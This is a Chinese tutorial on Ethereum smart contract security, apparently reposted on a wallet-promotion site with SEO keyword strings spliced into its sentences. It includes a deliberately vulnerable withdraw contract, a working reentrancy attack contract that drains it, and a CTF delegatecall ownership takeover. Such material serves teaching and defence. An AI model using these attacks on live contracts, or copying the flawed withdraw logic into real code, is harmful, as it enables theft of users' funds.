主页 > imtoken钱包靓号地址软件 > 以太坊智能合约安全入门(第 1 部分)

以太坊智能合约安全入门(第 1 部分)

imtoken钱包靓号地址软件 2023-03-16 07:51:02

最近区块链漏洞应该不会太火吧。 部分交易所用户被钓鱼导致APIKEY泄露、代币合约整数溢出漏洞导致代币归零、MyEtherWallet被DNS劫持导致用户ETH被盗等。随着区块链安全事件的频繁爆发,越来越多的安全从业者已将目标转向区块链。 经过一段时间的努力,我已经从以太坊智能合约的“青铜Ⅰ段”上升到了“青铜Ⅲ段”。 本文将从以太坊智能合约的一些特殊机制入手,详细分析已发现的各类漏洞。 ,对于每一类漏洞,都会提供一个简单的合约代码来解释漏洞产生的原因和攻击方法。

在阅读以下文章内容之前,我假设你已经对以太坊智能合约的概念有了一定的了解。 如果从开发者的角度来看智能,它看起来是这样的:

以太坊发币工具_以太坊发币全流程_以太币跟以太坊是同一种币吗

以太坊专门提供了一个名为EVM的虚拟机供合约代码运行,同时也提供了一种面向合约的语言来加速开发者开发合约。 官方推荐使用最多的Solidity是一种语法类似于JavaScript的合约开发。 语言。 开发者根据一定的业务逻辑编写合约代码并部署到以太坊,代码根据业务逻辑在链上记录数据。 以太坊其实是一个应用生态平台。 借助智能合约,我们可以开发各种应用程序并发布在以太坊上,供直接商业使用。 以太坊/智能合约的概念请参考文档。

下面以Solidity为例,说明以太坊智能合约存在的一些安全问题。

一、智能合约开发-Solidity

Solidity的语法类似于JavaSript,总体来说还是比较容易上手的。 用Solidity写的一个简单的合约代码如下

以太币跟以太坊是同一种币吗_以太坊发币工具_以太坊发币全流程

如果是和语法相关的,建议可以先看看这个教学系列(FQ)。 先说一下我当初在学习和复习以太坊智能合约的时候比较迷茫的地方:

1. 以太坊账户和智能合约的区别

以太坊账户有两种类型,外部账户和合约账户。 外部账户由一对公钥和私钥管理。 该帐户包含以太币余额。 除了以太币的余额,合约账户还有一个特定的代码。 将预设的代码逻辑发送到外部账户或其他合约的合约地址。 消息或事务发生时调用并处理:

外部账户 EOA

合约账户

(这里留个问题:“合约账户是否也有公私钥对?如果有,是否允许直接使用公私钥对控制账户的以太坊余额?”)

以太坊发币工具_以太币跟以太坊是同一种币吗_以太坊发币全流程

简单来说,合约账户是由外部账户或合约代码逻辑创建的。 部署成功后,只能按照预先编写的合约逻辑进行业务交互。 没有其他方法可以直接操作合约账户或更改已部署的合约代码。

2.代码执行限制

初次学习 Solidity 时需要注意的一些代码执行限制:

为了防止合约代码在设置时出现“死循环”的情况,以太坊加入了代码执行消耗的概念。 合约代码部署到以太坊平台后,EVM执行这些代码时,每执行一步都会消耗一定的Gas。 气体可视为能量。 一段代码逻辑可以假设为一组“组合技能”,外部调用者在调用合约的某个功能时以太坊发币全流程,会提供一定数量的Gas。 如果瓦斯大于这套“组合技”所需要的能量,就会成功施展。 否则会因为Gas不足而出现out of gas异常。 合同状态回滚。

以太坊发币工具_以太币跟以太坊是同一种币吗_以太坊发币全流程

同时,在Solidity中,一个函数中的递归调用栈(深度)不能超过1024层:

  1. contract Some {

  2.    function Loop() {

  3.        Loop();

  4.    }

  5. }


  6. // Loop() ->

  7. //  Loop() ->

  8. //    Loop() ->

  9. //      ...

  10. //      ... (must less than 1024)

  11. //      ...

  12. //        Loop()

3. 回退函数——fallback()

在跟踪Solidity的安全漏洞时,很大一部分与合约实例的fallback函数有关。 那么什么是回退函数呢? 官方文档描述:

一个合约只能有一个未命名的函数。 这个函数不能有参数,也不能返回任何东西。 如果没有其他函数与给定的函数标识符匹配(或者如果根本没有提供数据),它将在调用合约时执行。

回退函数在合约实例中表示为一个没有参数也没有返回值的匿名函数:

以太坊发币工具_以太坊发币全流程_以太币跟以太坊是同一种币吗

那么fallback函数什么时候执行呢?

当外部账户或其他合约向合约地址发送以太币时;

以太币跟以太坊是同一种币吗_以太坊发币工具_以太坊发币全流程

当外部账户或其他合约调用合约不存在的功能时;

注意:目前已知的大多数关于 Solidity 的安全问题都涉及 fallback 函数

4、几种传输方式的比较

在 Solidity 中,.transfer()、.send() 和 .gas().call.vale()() 都可以用来将以太币发送到一个地址。 它们之间的区别是:

。转移()

。发送()

.gas().call.value()()

注意:开发者需要根据不同场景合理使用这些功能,实现转币功能。 如果他们考虑不周或处理不周,漏洞被攻击者利用的可能性很大。

比如早期很多合约在使用.send()转账时忽略了返回值,这样当转账失败时,后面的代码流程仍然会被执行。

5. require 和 assert,revert 和 throw

require 和 assert 都可以用来检查条件,当条件不满足时抛出异常,但是在使用上 require 更偏向于代码逻辑健壮性检查; 当需要确认一些不应该发生的异常时,需要用assert来判断。

revert和throw都标记错误,恢复当前调用,但是Solidity在0.4.10引入了revert()、assert()、require()函数,而原来的throw; 在用法中等于 revert()。

关于这些功能的详细解释,请参考文章。

二。 漏洞现场修复

以太币跟以太坊是同一种币吗_以太坊发币工具_以太坊发币全流程

历史上发生过多次关于以太坊合约的安全事件。 这些安全事件在当时造成了巨大的影响,小到让已部署的合约无法继续运行,大到造成数千万美元的损失。 在金融领域,失误是不允许的,但从侧面来说,正是这些安全事件的出现,促进了以太坊或区块链安全的发展,越来越多的人关注区块链安全、合约安全、协议安全, ETC。

因此,经过一段时间的学习,在此记录一下自己所了解的以太坊合约的几个漏洞和原理,有兴趣的可以进一步交流。

下面列出了已知的常见 Solidity 漏洞类型(来自 DASP Top 10):

重入 - 重入

访问控制 - 访问控制

Arithmetic Issues - 算术题(整数溢出)

Unchecked Return Values For Low Level Calls——不严格判断不安全函数调用的返回值

拒绝服务 - 拒绝服务

不良随机性 - 可预测的随机处理

跑在前面

时间操纵

Short Address Attack——短地址攻击

Unknown Unknowns - 其他未知数

下面我将按照原理->示例(代码)->攻击的方式来讲解每一类漏洞的原理和攻击方式。

以太坊发币工具_以太坊发币全流程_以太币跟以太坊是同一种币吗

1.重入

重入漏洞,刚开始看这类漏洞时,我是比较迷茫的,因为从字面上看,“重入”其实可以简单理解为“递归”,所以在传统的开发语言中“递归”调用是很常见的逻辑上的处理方式,那为什么是Solidity的漏洞呢,上面部分提到,以太坊智能合约中有一些固有的执行限制,比如Gas Limit,看下面的代码:

  1. pragma solidity ^0.4.10;


  2. contract IDMoney {

  3.    address owner;

  4.    mapping (address => uint256) balances;  // 记录每个打币者存入的资产情况


  5.    event withdrawLog(address, uint256);

  6.    

  7.    function IDMoney() { owner = msg.sender; }

  8.    function deposit() payable { balances[msg.sender] += msg.value; }

  9.    function withdraw(address to, uint256 amount) {

  10.        require(balances[msg.sender] > amount);

  11.        require(this.balance > amount);


  12.        withdrawLog(to, amount);  // 打印日志,方便观察 reentrancy

  13.        

  14.        to.call.value(amount)();  // 使用 call.value()() 进行 ether 转币时,默认会发所有的 Gas 给外部

  15.        balances[msg.sender] -= amount;

  16.    }

  17.    function balanceOf() returns (uint256) { return balances[msg.sender]; }

  18.    function balanceOf(address addr) returns (uint256) { return balances[addr]; }

  19. }

这段代码是为了说明重入漏洞的原理而写的,它实现了一个类似于公共钱包的合约。 任何人都可以将相应的以太币存入IDMoney,合约会在合约中记录每个账户的资产(以太币)。 账户可以查询本合约中自己/他人的余额,同时可以通过 withdraw 将合约中的自己提取出来,将合约中的以太币直接提取并转入其他账户。

刚刚接触以太坊智能合约的人在分析上面的代码时,应该会认为这是一段比较正常的代码逻辑,看起来没有什么问题。 但是前面说过,以太坊智能合约漏洞的出现与其自身的语法(语言)特性有很大关系。 在这里,我们重点关注 withdraw(address, uint256) 函数。 合约提币时,使用require依次判断提币账户是否有对应的资产,以及合约是否有足够的资金提币(有点类似于根据交易所的提币判断)以太坊发币全流程,然后使用to.call.value(数量)(); 发送以太币,处理完成后相应修改用户的资产数据。

仔细阅读过第一部分I.3的同学一定发现了,这里的转币方法使用了call.value()()方法,区别于send()和transfer()这两个类似的函数,称呼。 value()() 会将所有剩余的 Gas 交给外部调用(fallback 函数),而 send() 和 transfer() 将只有 2300 Gas 来处理这个货币转账操作。 如果以太币交易时目标地址是合约地址,那么默认会调用合约的fallback函数(如果存在,没有转账会转账失败,注意payable修改)。

上面说了这么多,很明显,在提币或者合约用户转币的过程中存在递归提现问题(因为提币后资产被修改),攻击者可以部署恶意递归调用合约提现公共钱包合约中的所有以太币,流程大致如下:

以太坊发币工具_以太币跟以太坊是同一种币吗_以太坊发币全流程

(读者可以直接基于上面的IDMoney合约代码编写自己的攻击合约代码,然后在测试环境中进行模拟)

我实现的攻击合约代码如下:

  1. contract Attack {

  2.    address owner;

  3.    address victim;


  4.    modifier ownerOnly { require(owner == msg.sender); _; }

  5.    

  6.    function Attack() payable { owner = msg.sender; }

  7.    

  8.    // 设置已部署的 IDMoney 合约实例地址

  9.    function setVictim(address target) ownerOnly { victim = target; }

  10.    

  11.    // deposit Ether to IDMoney deployed

  12.    function step1(uint256 amount) ownerOnly payable {

  13.        if (this.balance > amount) {

  14.            victim.call.value(amount)(bytes4(keccak256("deposit()")));

  15.        }

  16.    }

  17.    // withdraw Ether from IDMoney deployed

  18.    function step2(uint256 amount) ownerOnly {

  19.        victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);

  20.    }

  21.    // selfdestruct, send all balance to owner

  22.    function stopAttack() ownerOnly {

  23.        selfdestruct(owner);

  24.    }


  25.    function startAttack(uint256 amount) ownerOnly {

  26.        step1(amount);

  27.        step2(amount / 2);

  28.    }


  29.    function () payable {

  30.        if (msg.sender == victim) {

  31.            // 再次尝试调用 IDCoin 的 sendCoin 函数,递归转币

  32.            victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);

  33.        }

  34.    }

  35. }

使用remix-ide模拟攻击过程:

以太币跟以太坊是同一种币吗_以太坊发币工具_以太坊发币全流程

著名的导致以太坊硬分叉(ETH/ETC)的The DAO事件与重入漏洞有关,导致超过60万个以太坊被盗。

以太坊发币全流程_以太坊发币工具_以太币跟以太坊是同一种币吗

2.访问控制

访问控制。 使用Solidity编写合约代码时,默认有几个变量或函数访问域关键字:private、public、external和internal。 对于合约实例方法,默认可见状态为public,而合约实例变量默认可见状态为private。

除了Solidity中常规的变量和函数可见性描述外,这里还有两个底层调用方法call和delegatecall需要提及:

一个简单的图形表示是:

以太坊发币工具_以太坊发币全流程_以太币跟以太坊是同一种币吗

合约A以调用方式调用外部合约B的func()函数,在外部合约B的上下文执行完func()后继续返回A的合约上下文继续执行; 而当A以delegatecall方式调用时,相当于调用外部合约B的func()代码被复制(函数中涉及的变量或函数需要存在)并在A的上下文空间中执行。

以下代码是OpenZeppelin CTF的题目:

  1. pragma solidity ^0.4.10;


  2. contract Delegate {

  3.    address public owner;


  4.    function Delegate(address _owner) {

  5.        owner = _owner;

  6.    }

  7.    function pwn() {

  8.        owner = msg.sender;

  9.    }

  10. }


  11. contract Delegation {

  12.    address public owner;

  13.    Delegate delegate;


  14.    function Delegation(address _delegateAddress) {

  15.        delegate = Delegate(_delegateAddress);

  16.        owner = msg.sender;

  17.    }

  18.    function () {

  19.        if (delegate.delegatecall(msg.data)) {

  20.            this;

  21.        }

  22.    }

  23. }

仔细分析代码后,合约Delegation在回退函数中使用msg.data调用Delegate实例上的delegatecall()。 msg.data是可控的,这里攻击者直接使用bytes4(keccak256("pwn()"))通过delegatecall()将部署的Delegationowner修改为攻击者自己(msg.sender)。

使用remix-ide模拟攻击过程:

以太坊发币全流程_以太币跟以太坊是同一种币吗_以太坊发币工具

2017年下半年智能合约钱包Parity被盗事件与未授权和delegatecall有关。

(注:本文上半部分主要讲解了以太坊智能合约安全的研究基础和两类漏洞原理的示例,其中有一节“自我思考”总结了我在学习和研究以太坊智能合约时遇到的细节安全)

参考链接:

以太币跟以太坊是同一种币吗_以太坊发币工具_以太坊发币全流程